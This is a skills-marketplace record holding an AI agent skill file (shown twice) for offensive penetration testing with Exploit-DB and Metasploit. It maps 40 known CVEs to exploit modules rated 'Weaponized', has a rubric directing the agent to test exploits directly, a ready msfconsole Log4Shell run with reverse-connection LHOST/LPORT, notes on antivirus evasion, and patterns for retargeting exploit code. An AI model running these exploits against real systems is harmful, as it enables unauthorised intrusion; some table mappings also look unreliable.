[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AECTDPHG19MBYH3F82K173":3,"skill-same:01M6AECTDPHG19MBYH3F82K173":53},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":23,"linkOnly":24,"markdownContent":25,"markdownBody":26,"frontMatter":27,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":32,"repositoryHtmlUrl":33,"repositoryHomepageUrl":34,"ownerHtmlUrl":35,"ownerBlogUrl":36,"ownerDescription":37,"updatedAt":38,"install":39,"resources":52},"01M6AECTDPHG19MBYH3F82K173","exploit-db",null,"Exploit-DB and searchsploit reference — EDB→Metasploit module mappings, PoC reliability rubric, CVSS tier quick reference, and searchsploit usage patterns","mukul975\u002FThreatswarm","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6AEC80XRNP52E8VQYCMGGZ1",97,"MIT","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FThreatswarm\u002Fblob\u002Fmain\u002Fthreatswarm-plugin\u002Fskills\u002Fexploit-db\u002FSKILL.md",[],[19,20,21,22],"exploit db","quick reference","cvss","Metasploit","2026-11-10 10:12:30",false,"---\nname: exploit-db\ndescription: Exploit-DB and searchsploit reference — EDB→Metasploit module mappings, PoC reliability rubric, CVSS tier quick reference, and searchsploit usage patterns\nallowed-tools: Bash, Read\n---\n\n## searchsploit Usage Patterns\n\n```bash\n# Text search in title\u002Fpath\nsearchsploit apache 2.4\n\n# Search by CVE\nsearchsploit --cve CVE-2021-41773\nsearchsploit --cve CVE-2021-44228\n\n# JSON output for scripting\nsearchsploit apache --json | python3 -c \"\nimport sys, json\ndata = json.load(sys.stdin)\nfor e in data.get('RESULTS_EXPLOIT', []):\n    print(e['EDB-ID'], e['Title'], e['Path'])\n\"\n\n# Copy exploit to working dir\nsearchsploit -m 50383\n\n# Update database\nsearchsploit -u\n\n# Search by nmap XML output\nsearchsploit --nmap nmap_output.xml\n\n# Filter by type (webapps, local, remote, dos)\nsearchsploit -t \"remote\" apache\n\n# Search for specific OS\nsearchsploit windows 10 privilege escalation\n\n# Show only exploits (not shellcodes\u002Fpapers)\nsearchsploit wordpress --www-exploit-db\n```\n\n## EDB → Metasploit Module Mapping (Top 40 Vulnerabilities)\n\n| CVE \u002F EDB-ID | Vulnerability | Metasploit Module | Reliability |\n|---|---|---|---|\n| CVE-2017-0144 \u002F EDB-41891 | MS17-010 EternalBlue | `exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue` | Weaponized |\n| CVE-2021-44228 \u002F EDB-50592 | Log4Shell RCE | `exploit\u002Fmulti\u002Fhttp\u002Flog4shell_header_injection` | Weaponized |\n| CVE-2021-1675 \u002F EDB-50265 | PrintNightmare | `exploit\u002Fwindows\u002Fdcerpc\u002Fcve_2021_1675_printnightmare` | Weaponized |\n| CVE-2021-34473 \u002F EDB-50243 | ProxyShell Exchange | `exploit\u002Fwindows\u002Fhttp\u002Fexchange_proxyshell_rce` | Weaponized |\n| CVE-2020-1472 \u002F EDB-49071 | ZeroLogon | `auxiliary\u002Fadmin\u002Fdcerpc\u002Fcve_2020_1472_zerologon` | Weaponized |\n| CVE-2022-22965 \u002F EDB-50798 | Spring4Shell | `exploit\u002Fmulti\u002Fhttp\u002Fspring_framework_rce_spring4shell` | Weaponized |\n| CVE-2019-19781 \u002F EDB-47901 | Citrix ADC Path Traversal | `exploit\u002Flinux\u002Fhttp\u002Fcitrix_dir_traversal_rce` | Weaponized |\n| CVE-2020-5902 \u002F EDB-48695 | F5 BIG-IP RCE | `exploit\u002Flinux\u002Fhttp\u002Ff5_bigip_tmui_rce` | Weaponized |\n| CVE-2021-26855 \u002F EDB-49637 | ProxyLogon Exchange | `exploit\u002Fwindows\u002Fhttp\u002Fexchange_proxylogon_rce` | Weaponized |\n| CVE-2022-26134 \u002F EDB-51076 | Confluence OGNL RCE | `exploit\u002Fmulti\u002Fhttp\u002Fatlassian_confluence_namespace_ognl_injection` | Weaponized |\n| CVE-2018-13379 \u002F EDB-47288 | FortiOS Path Traversal | `auxiliary\u002Fgather\u002Ffortios_vpn_user_cred` | Functional |\n| CVE-2022-1388 \u002F EDB-50919 | F5 iControl Auth Bypass | `exploit\u002Flinux\u002Fhttp\u002Ff5_icontrol_rce` | Weaponized |\n| CVE-2021-20038 \u002F EDB-50882 | SonicWall SMA Stack Overflow | `exploit\u002Flinux\u002Fhttp\u002Fsonicwall_sma_overflow` | Functional |\n| CVE-2023-46604 \u002F EDB-51880 | Apache ActiveMQ RCE | `exploit\u002Fmulti\u002Fmisc\u002Fapache_activemq_rce_cve_2023_46604` | Weaponized |\n| CVE-2021-3156 \u002F EDB-49521 | Sudo Baron Samedit | `exploit\u002Flinux\u002Flocal\u002Fsudo_baron_samedit` | Weaponized |\n| CVE-2021-4034 \u002F EDB-50689 | PwnKit polkit LPE | `exploit\u002Flinux\u002Flocal\u002Fcve_2021_4034_pwnkit_lpe_pkexec` | Weaponized |\n| CVE-2022-0847 \u002F EDB-50808 | Dirty Pipe Linux LPE | `exploit\u002Flinux\u002Flocal\u002Fcve_2022_0847_dirtypipe` | Weaponized |\n| CVE-2016-5195 \u002F EDB-40616 | Dirty COW Linux LPE | `exploit\u002Flinux\u002Flocal\u002Foverlayfs_priv_esc` | Weaponized |\n| CVE-2014-6271 \u002F EDB-34766 | Shellshock Bash RCE | `exploit\u002Fmulti\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec` | Weaponized |\n| CVE-2017-5638 \u002F EDB-41570 | Apache Struts2 RCE | `exploit\u002Fmulti\u002Fhttp\u002Fstruts2_content_type_ognl` | Weaponized |\n| CVE-2019-0708 \u002F EDB-47416 | BlueKeep RDP RCE | `exploit\u002Fwindows\u002Frdp\u002Fcve_2019_0708_bluekeep_rce` | Functional |\n| CVE-2020-0796 \u002F EDB-48260 | SMBGhost RCE | `exploit\u002Fwindows\u002Fsmb\u002Fcve_2020_0796_smbghost` | Functional |\n| CVE-2018-7600 \u002F EDB-44449 | Drupalgeddon2 RCE | `exploit\u002Funix\u002Fwebapp\u002Fdrupal_drupalgeddon2` | Weaponized |\n| CVE-2019-0211 \u002F EDB-46676 | Apache HTTPd LPE | `exploit\u002Fmulti\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec` | Functional |\n| CVE-2015-1701 \u002F EDB-37367 | Windows Win32k LPE | `exploit\u002Fwindows\u002Flocal\u002Fms15_051_client_copy_image` | Weaponized |\n| CVE-2020-14882 \u002F EDB-49391 | Oracle WebLogic RCE | `exploit\u002Fmulti\u002Fhttp\u002Foracle_weblogic_admin_handle_rce` | Weaponized |\n| CVE-2021-22005 \u002F EDB-50513 | vCenter File Upload | `exploit\u002Flinux\u002Fhttp\u002Fvmware_vcenter_uploadova_rce` | Weaponized |\n| CVE-2022-41040 \u002F EDB-51917 | ProxyNotShell Exchange | `exploit\u002Fwindows\u002Fhttp\u002Fexchange_proxynotshell_rce` | Functional |\n| CVE-2023-22515 \u002F EDB-51899 | Confluence Priv Esc | Manual PoC required | Functional |\n| CVE-2024-21762 \u002F EDB-51960 | FortiOS OOB Write | Manual PoC required | Weaponized |\n| CVE-2019-11510 \u002F EDB-47297 | Pulse Secure Arb File Read | `auxiliary\u002Fgather\u002Fpulse_secure_file_read` | Weaponized |\n| CVE-2020-3452 \u002F EDB-48577 | Cisco ASA Path Traversal | `auxiliary\u002Fgather\u002Fcisco_asa_local_file_inclusion` | Weaponized |\n| CVE-2021-40539 \u002F EDB-50781 | ManageEngine RCE | `exploit\u002Fmulti\u002Fhttp\u002Fmanageengine_adselfservice_plusrce` | Weaponized |\n| CVE-2022-36537 \u002F EDB-51327 | ZK Framework RCE | Manual PoC | Functional |\n| CVE-2023-4966 \u002F EDB-51888 | Citrix Bleed Session Leak | Manual PoC | Weaponized |\n| CVE-2024-3400 \u002F EDB-52023 | PAN-OS GlobalProtect RCE | Manual PoC | Weaponized |\n| CVE-2022-47966 \u002F EDB-51518 | ManageEngine SAML RCE | `exploit\u002Flinux\u002Fhttp\u002Fzoho_manageengine_saml_rce` | Weaponized |\n| CVE-2023-27997 \u002F EDB-51832 | FortiGate SSL-VPN Heap BOF | Manual PoC | Weaponized |\n| CVE-2023-20198 \u002F EDB-51873 | Cisco IOS XE Priv Esc | Manual PoC | Weaponized |\n| CVE-2024-6387 \u002F EDB-52098 | OpenSSH regreSSHion | Manual PoC (race) | DoS-only |\n\n## PoC Reliability Rubric\n\n| Level | Label | Criteria | Action |\n|---|---|---|---|\n| 1 | **Weaponized** | Works out-of-box against target version, produces shell\u002Faccess reliably | Test directly; log as `CONFIRMED` |\n| 2 | **Functional** | Requires minor adaptation (change URL, adjust offset) | Modify per target; log as `VERIFIED` |\n| 3 | **DoS-only** | Crashes service but no code exec | Confirm version, log as `CONFIRMED-DOS` |\n| 4 | **Theoretical** | Academic writeup, no working code | Write PoC from paper or skip |\n| 5 | **False\u002FInvalid** | Patched, misidentified, or wrong version | Log as `NOT-APPLICABLE` |\n\n**Reliability Assessment Checklist:**\n```\n□ Check affected version range vs target version (confirm match)\n□ Read comments\u002Fissues on GitHub PoC for known problems\n□ Check EDB verified badge (green checkmark = tested by staff)\n□ Note compile requirements (libc version, kernel headers, etc.)\n□ Test in identical OS\u002Fservice version lab before live target\n□ Check VT multi-scanner on compiled binary (defense evasion consideration)\n```\n\n## CVSS 3.1 Tier Quick Reference\n\n| Score | Severity | Vector Pattern | Examples |\n|---|---|---|---|\n| 9.0–10.0 | **CRITICAL** | `AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C` | Pre-auth RCE, unauthenticated critical |\n| 7.0–8.9 | **HIGH** | `AV:N\u002FAC:L\u002FPR:N\u002FUI:N` | Auth bypass, post-auth RCE, LPE |\n| 4.0–6.9 | **MEDIUM** | `AV:N\u002FAC:L\u002FPR:L` or `AV:L\u002FAC:L` | Auth required, info disclosure |\n| 0.1–3.9 | **LOW** | `AV:L\u002FAC:H\u002FPR:H` | Physical access, complex conditions |\n\n**Common Vector Components:**\n```\nAV: N(network) L(local) P(physical) A(adjacent)\nAC: L(low) H(high)\nPR: N(none) L(low) H(high)\nUI: N(none) R(required)\nS:  U(unchanged) C(changed)\nC\u002FI\u002FA: N(none) L(low) H(high)\n```\n\n**Pre-built CVSS Vectors by Category:**\n```\nPre-auth RCE (critical):    CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H  = 9.8\nAuth bypass + access:       CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N  = 7.5\nPost-auth RCE:              CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H  = 8.8\nLocal privilege escalation: CVSS:3.1\u002FAV:L\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H  = 7.8\nStored XSS (admin):        CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N  = 5.4\nSQLi (read-only):           CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N  = 6.5\nSSRF (internal):            CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N  = 7.2\nPath traversal (LFI):       CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N  = 7.5\nDoS (network):              CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H  = 7.5\nCSRF (state-change):        CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:H\u002FA:N  = 6.5\n```\n\n## searchsploit + Metasploit Workflow\n\n```bash\n# 1. Find relevant exploits\nsearchsploit --cve CVE-2021-44228 --json | python3 -m json.tool\n\n# 2. View exploit details before downloading\nsearchsploit -x exploits\u002Fjava\u002Fwebapps\u002F50592.py\n\n# 3. Mirror to current directory\nsearchsploit -m 50592\n\n# 4. Find matching MSF module\nmsfconsole -q -x \"search cve:2021-44228; exit\"\n\n# 5. Run MSF module\nmsfconsole -q -x \"\nuse exploit\u002Fmulti\u002Fhttp\u002Flog4shell_header_injection\nset RHOSTS $TARGET\nset RPORT $PORT\nset TARGETURI \u002F\nset LHOST $LHOST\nset LPORT $LPORT\nrun\nexit\n\"\n```\n\n## Common Exploit Modification Patterns\n\n```python\n# Pattern 1: Fix URL in raw exploit\nimport re\ncode = open('exploit.py').read()\ncode = re.sub(r'http:\u002F\u002F[0-9.]+', f'http:\u002F\u002F{TARGET}', code)\n\n# Pattern 2: Fix shell command in exploit\n# Find LHOST\u002FLPORT references and replace with env vars\nimport os\nLHOST = os.environ['LHOST']\nLPORT = os.environ['LPORT']\n\n# Pattern 3: Adjust buffer offset for target binary version\n# Use cyclic pattern to find EIP\u002FRIP offset\npython3 -c \"from pwntools import *; print(cyclic(200))\" | .\u002F$BINARY\n# Then check crash offset with: cyclic_find(b'faab')\n```\n","## searchsploit Usage Patterns\n\n```bash\n# Text search in title\u002Fpath\nsearchsploit apache 2.4\n\n# Search by CVE\nsearchsploit --cve CVE-2021-41773\nsearchsploit --cve CVE-2021-44228\n\n# JSON output for scripting\nsearchsploit apache --json | python3 -c \"\nimport sys, json\ndata = json.load(sys.stdin)\nfor e in data.get('RESULTS_EXPLOIT', []):\n    print(e['EDB-ID'], e['Title'], e['Path'])\n\"\n\n# Copy exploit to working dir\nsearchsploit -m 50383\n\n# Update database\nsearchsploit -u\n\n# Search by nmap XML output\nsearchsploit --nmap nmap_output.xml\n\n# Filter by type (webapps, local, remote, dos)\nsearchsploit -t \"remote\" apache\n\n# Search for specific OS\nsearchsploit windows 10 privilege escalation\n\n# Show only exploits (not shellcodes\u002Fpapers)\nsearchsploit wordpress --www-exploit-db\n```\n\n## EDB → Metasploit Module Mapping (Top 40 Vulnerabilities)\n\n| CVE \u002F EDB-ID | Vulnerability | Metasploit Module | Reliability |\n|---|---|---|---|\n| CVE-2017-0144 \u002F EDB-41891 | MS17-010 EternalBlue | `exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue` | Weaponized |\n| CVE-2021-44228 \u002F EDB-50592 | Log4Shell RCE | `exploit\u002Fmulti\u002Fhttp\u002Flog4shell_header_injection` | Weaponized |\n| CVE-2021-1675 \u002F EDB-50265 | PrintNightmare | `exploit\u002Fwindows\u002Fdcerpc\u002Fcve_2021_1675_printnightmare` | Weaponized |\n| CVE-2021-34473 \u002F EDB-50243 | ProxyShell Exchange | `exploit\u002Fwindows\u002Fhttp\u002Fexchange_proxyshell_rce` | Weaponized |\n| CVE-2020-1472 \u002F EDB-49071 | ZeroLogon | `auxiliary\u002Fadmin\u002Fdcerpc\u002Fcve_2020_1472_zerologon` | Weaponized |\n| CVE-2022-22965 \u002F EDB-50798 | Spring4Shell | `exploit\u002Fmulti\u002Fhttp\u002Fspring_framework_rce_spring4shell` | Weaponized |\n| CVE-2019-19781 \u002F EDB-47901 | Citrix ADC Path Traversal | `exploit\u002Flinux\u002Fhttp\u002Fcitrix_dir_traversal_rce` | Weaponized |\n| CVE-2020-5902 \u002F EDB-48695 | F5 BIG-IP RCE | `exploit\u002Flinux\u002Fhttp\u002Ff5_bigip_tmui_rce` | Weaponized |\n| CVE-2021-26855 \u002F EDB-49637 | ProxyLogon Exchange | `exploit\u002Fwindows\u002Fhttp\u002Fexchange_proxylogon_rce` | Weaponized |\n| CVE-2022-26134 \u002F EDB-51076 | Confluence OGNL RCE | `exploit\u002Fmulti\u002Fhttp\u002Fatlassian_confluence_namespace_ognl_injection` | Weaponized |\n| CVE-2018-13379 \u002F EDB-47288 | FortiOS Path Traversal | `auxiliary\u002Fgather\u002Ffortios_vpn_user_cred` | Functional |\n| CVE-2022-1388 \u002F EDB-50919 | F5 iControl Auth Bypass | `exploit\u002Flinux\u002Fhttp\u002Ff5_icontrol_rce` | Weaponized |\n| CVE-2021-20038 \u002F EDB-50882 | SonicWall SMA Stack Overflow | `exploit\u002Flinux\u002Fhttp\u002Fsonicwall_sma_overflow` | Functional |\n| CVE-2023-46604 \u002F EDB-51880 | Apache ActiveMQ RCE | `exploit\u002Fmulti\u002Fmisc\u002Fapache_activemq_rce_cve_2023_46604` | Weaponized |\n| CVE-2021-3156 \u002F EDB-49521 | Sudo Baron Samedit | `exploit\u002Flinux\u002Flocal\u002Fsudo_baron_samedit` | Weaponized |\n| CVE-2021-4034 \u002F EDB-50689 | PwnKit polkit LPE | `exploit\u002Flinux\u002Flocal\u002Fcve_2021_4034_pwnkit_lpe_pkexec` | Weaponized |\n| CVE-2022-0847 \u002F EDB-50808 | Dirty Pipe Linux LPE | `exploit\u002Flinux\u002Flocal\u002Fcve_2022_0847_dirtypipe` | Weaponized |\n| CVE-2016-5195 \u002F EDB-40616 | Dirty COW Linux LPE | `exploit\u002Flinux\u002Flocal\u002Foverlayfs_priv_esc` | Weaponized |\n| CVE-2014-6271 \u002F EDB-34766 | Shellshock Bash RCE | `exploit\u002Fmulti\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec` | Weaponized |\n| CVE-2017-5638 \u002F EDB-41570 | Apache Struts2 RCE | `exploit\u002Fmulti\u002Fhttp\u002Fstruts2_content_type_ognl` | Weaponized |\n| CVE-2019-0708 \u002F EDB-47416 | BlueKeep RDP RCE | `exploit\u002Fwindows\u002Frdp\u002Fcve_2019_0708_bluekeep_rce` | Functional |\n| CVE-2020-0796 \u002F EDB-48260 | SMBGhost RCE | `exploit\u002Fwindows\u002Fsmb\u002Fcve_2020_0796_smbghost` | Functional |\n| CVE-2018-7600 \u002F EDB-44449 | Drupalgeddon2 RCE | `exploit\u002Funix\u002Fwebapp\u002Fdrupal_drupalgeddon2` | Weaponized |\n| CVE-2019-0211 \u002F EDB-46676 | Apache HTTPd LPE | `exploit\u002Fmulti\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec` | Functional |\n| CVE-2015-1701 \u002F EDB-37367 | Windows Win32k LPE | `exploit\u002Fwindows\u002Flocal\u002Fms15_051_client_copy_image` | Weaponized |\n| CVE-2020-14882 \u002F EDB-49391 | Oracle WebLogic RCE | `exploit\u002Fmulti\u002Fhttp\u002Foracle_weblogic_admin_handle_rce` | Weaponized |\n| CVE-2021-22005 \u002F EDB-50513 | vCenter File Upload | `exploit\u002Flinux\u002Fhttp\u002Fvmware_vcenter_uploadova_rce` | Weaponized |\n| CVE-2022-41040 \u002F EDB-51917 | ProxyNotShell Exchange | `exploit\u002Fwindows\u002Fhttp\u002Fexchange_proxynotshell_rce` | Functional |\n| CVE-2023-22515 \u002F EDB-51899 | Confluence Priv Esc | Manual PoC required | Functional |\n| CVE-2024-21762 \u002F EDB-51960 | FortiOS OOB Write | Manual PoC required | Weaponized |\n| CVE-2019-11510 \u002F EDB-47297 | Pulse Secure Arb File Read | `auxiliary\u002Fgather\u002Fpulse_secure_file_read` | Weaponized |\n| CVE-2020-3452 \u002F EDB-48577 | Cisco ASA Path Traversal | `auxiliary\u002Fgather\u002Fcisco_asa_local_file_inclusion` | Weaponized |\n| CVE-2021-40539 \u002F EDB-50781 | ManageEngine RCE | `exploit\u002Fmulti\u002Fhttp\u002Fmanageengine_adselfservice_plusrce` | Weaponized |\n| CVE-2022-36537 \u002F EDB-51327 | ZK Framework RCE | Manual PoC | Functional |\n| CVE-2023-4966 \u002F EDB-51888 | Citrix Bleed Session Leak | Manual PoC | Weaponized |\n| CVE-2024-3400 \u002F EDB-52023 | PAN-OS GlobalProtect RCE | Manual PoC | Weaponized |\n| CVE-2022-47966 \u002F EDB-51518 | ManageEngine SAML RCE | `exploit\u002Flinux\u002Fhttp\u002Fzoho_manageengine_saml_rce` | Weaponized |\n| CVE-2023-27997 \u002F EDB-51832 | FortiGate SSL-VPN Heap BOF | Manual PoC | Weaponized |\n| CVE-2023-20198 \u002F EDB-51873 | Cisco IOS XE Priv Esc | Manual PoC | Weaponized |\n| CVE-2024-6387 \u002F EDB-52098 | OpenSSH regreSSHion | Manual PoC (race) | DoS-only |\n\n## PoC Reliability Rubric\n\n| Level | Label | Criteria | Action |\n|---|---|---|---|\n| 1 | **Weaponized** | Works out-of-box against target version, produces shell\u002Faccess reliably | Test directly; log as `CONFIRMED` |\n| 2 | **Functional** | Requires minor adaptation (change URL, adjust offset) | Modify per target; log as `VERIFIED` |\n| 3 | **DoS-only** | Crashes service but no code exec | Confirm version, log as `CONFIRMED-DOS` |\n| 4 | **Theoretical** | Academic writeup, no working code | Write PoC from paper or skip |\n| 5 | **False\u002FInvalid** | Patched, misidentified, or wrong version | Log as `NOT-APPLICABLE` |\n\n**Reliability Assessment Checklist:**\n```\n□ Check affected version range vs target version (confirm match)\n□ Read comments\u002Fissues on GitHub PoC for known problems\n□ Check EDB verified badge (green checkmark = tested by staff)\n□ Note compile requirements (libc version, kernel headers, etc.)\n□ Test in identical OS\u002Fservice version lab before live target\n□ Check VT multi-scanner on compiled binary (defense evasion consideration)\n```\n\n## CVSS 3.1 Tier Quick Reference\n\n| Score | Severity | Vector Pattern | Examples |\n|---|---|---|---|\n| 9.0–10.0 | **CRITICAL** | `AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C` | Pre-auth RCE, unauthenticated critical |\n| 7.0–8.9 | **HIGH** | `AV:N\u002FAC:L\u002FPR:N\u002FUI:N` | Auth bypass, post-auth RCE, LPE |\n| 4.0–6.9 | **MEDIUM** | `AV:N\u002FAC:L\u002FPR:L` or `AV:L\u002FAC:L` | Auth required, info disclosure |\n| 0.1–3.9 | **LOW** | `AV:L\u002FAC:H\u002FPR:H` | Physical access, complex conditions |\n\n**Common Vector Components:**\n```\nAV: N(network) L(local) P(physical) A(adjacent)\nAC: L(low) H(high)\nPR: N(none) L(low) H(high)\nUI: N(none) R(required)\nS:  U(unchanged) C(changed)\nC\u002FI\u002FA: N(none) L(low) H(high)\n```\n\n**Pre-built CVSS Vectors by Category:**\n```\nPre-auth RCE (critical):    CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H  = 9.8\nAuth bypass + access:       CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N  = 7.5\nPost-auth RCE:              CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H  = 8.8\nLocal privilege escalation: CVSS:3.1\u002FAV:L\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H  = 7.8\nStored XSS (admin):        CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N  = 5.4\nSQLi (read-only):           CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N  = 6.5\nSSRF (internal):            CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N  = 7.2\nPath traversal (LFI):       CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N  = 7.5\nDoS (network):              CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H  = 7.5\nCSRF (state-change):        CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:H\u002FA:N  = 6.5\n```\n\n## searchsploit + Metasploit Workflow\n\n```bash\n# 1. Find relevant exploits\nsearchsploit --cve CVE-2021-44228 --json | python3 -m json.tool\n\n# 2. View exploit details before downloading\nsearchsploit -x exploits\u002Fjava\u002Fwebapps\u002F50592.py\n\n# 3. Mirror to current directory\nsearchsploit -m 50592\n\n# 4. Find matching MSF module\nmsfconsole -q -x \"search cve:2021-44228; exit\"\n\n# 5. Run MSF module\nmsfconsole -q -x \"\nuse exploit\u002Fmulti\u002Fhttp\u002Flog4shell_header_injection\nset RHOSTS $TARGET\nset RPORT $PORT\nset TARGETURI \u002F\nset LHOST $LHOST\nset LPORT $LPORT\nrun\nexit\n\"\n```\n\n## Common Exploit Modification Patterns\n\n```python\n# Pattern 1: Fix URL in raw exploit\nimport re\ncode = open('exploit.py').read()\ncode = re.sub(r'http:\u002F\u002F[0-9.]+', f'http:\u002F\u002F{TARGET}', code)\n\n# Pattern 2: Fix shell command in exploit\n# Find LHOST\u002FLPORT references and replace with env vars\nimport os\nLHOST = os.environ['LHOST']\nLPORT = os.environ['LPORT']\n\n# Pattern 3: Adjust buffer offset for target binary version\n# Use cyclic pattern to find EIP\u002FRIP offset\npython3 -c \"from pwntools import *; print(cyclic(200))\" | .\u002F$BINARY\n# Then check crash offset with: cyclic_find(b'faab')\n```\n",{"name":5,"description":7,"allowed-tools":28},"Bash, Read","main","4789a8223ef5325f46a198059f56b97ff72ee26e","threatswarm-plugin\u002Fskills\u002Fexploit-db",27,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FThreatswarm","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-04-29 23:49:33",{"source":8,"skillName":5,"commands":40,"prompt":50,"zipAvailable":51},[41,44,47],{"tool":42,"command":43},"npx","npx skills add mukul975\u002FThreatswarm --skill exploit-db",{"tool":45,"command":46},"bunx","bunx skills add mukul975\u002FThreatswarm --skill exploit-db",{"tool":48,"command":49},"pnpm","pnpm dlx skills add mukul975\u002FThreatswarm --skill exploit-db","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FThreatswarm\u002Fblob\u002Fmain\u002Fthreatswarm-plugin\u002Fskills\u002Fexploit-db\u002FSKILL.md",true,[],[54,61,75,88,100,105],{"skillNo":55,"name":56,"nameZh":6,"description":57,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":58,"categories":59,"keywords":60,"publishedAt":23},"01M6AED29RRH41NP7XD7FQ92R8","wordlists","SecLists path map, hashcat rules, CeWL usage, and custom wordlist generation for all attack categories","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FThreatswarm\u002Fblob\u002Fmain\u002Fthreatswarm-plugin\u002Fskills\u002Fwordlists\u002FSKILL.md",[],[56],{"skillNo":62,"name":63,"nameZh":6,"description":64,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":65,"categories":66,"keywords":67,"publishedAt":23},"01M6AECZSCSS8TWHXT46TQHRS8","report-templates","CVSS 3.1 vector examples, executive summary template, full technical finding template, and remediation language bank for pentest reports","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FThreatswarm\u002Fblob\u002Fmain\u002Fthreatswarm-plugin\u002Fskills\u002Freport-templates\u002FSKILL.md",[],[68,69,70,71,21,72,73,74],"report templates","templates","report","remediation","examples","vector","executive summary",{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":23},"01M6AECWRXDGQ0JSB5YM7PNW2B","mitre-attack","MITRE ATT&CK framework reference — tactics, techniques, and tool-to-TTP mappings for pentest documentation and detection rule writing","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FThreatswarm\u002Fblob\u002Fmain\u002Fthreatswarm-plugin\u002Fskills\u002Fmitre-attack\u002FSKILL.md",[],[82,83,84,85,86,87],"mitre attack","ATT&CK","detection","framework","documentation","writing",{"skillNo":89,"name":90,"nameZh":6,"description":91,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":92,"categories":93,"keywords":94,"publishedAt":23},"01M6AECQPYCAMDT8BMF03GMRN6","ad-attacks","Active Directory attack reference — BloodHound Cypher queries, Kerberos attack decision tree, ACE\u002FACL abuse, ADCS ESC1-8, and AD misconfig 